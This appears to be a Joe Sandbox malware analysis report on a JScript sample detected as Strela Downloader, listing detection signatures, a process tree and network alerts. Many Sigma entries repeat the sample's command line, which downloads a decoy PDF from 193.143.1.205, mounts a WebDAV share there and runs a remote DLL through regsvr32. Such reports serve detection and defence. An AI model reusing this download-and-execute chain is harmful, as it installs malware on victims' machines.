Edit tour

Windows Analysis Report
1227622214229272730.js

Overview

General Information

Sample name:	1227622214229272730.js
Analysis ID:	1587895
MD5:	4388382a28f1275ee2747259a345d74b
SHA1:	a54fccc885a7a65fe47eb69eaa2a5066b4443689
SHA256:	9145b492f31b9baf9ef23ecd211877a64cce762f9718fdd3b0c2582b50e73778
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7096 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1227622214229272730.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5272 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2620 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3784 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1008 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2020 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1656,i,16891534531806010795,12127977397220961010,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5512 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3412 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3220 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7096	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5272, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2620, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5272, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2620, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1227622214229272730.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1227622214229272730.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1227622214229272730.js", ProcessId: 7096, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3412, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1227622214229272730.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, ProcessId: 5272, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1227622214229272730.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, ProcessId: 5272, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1227622214229272730.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, ProcessId: 5272, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1227622214229272730.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, ProcessId: 5272, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1227622214229272730.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, ProcessId: 5272, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1227622214229272730.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1227622214229272730.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1227622214229272730.js", ProcessId: 7096, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5272, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2620, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5512, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3412, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3220, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5512, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3412, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1227622214229272730.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll, ProcessId: 5272, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:06:22.978846+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:06:20.617790+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1227622214229272730.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1227622214229272730.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:06:20 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:52496 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

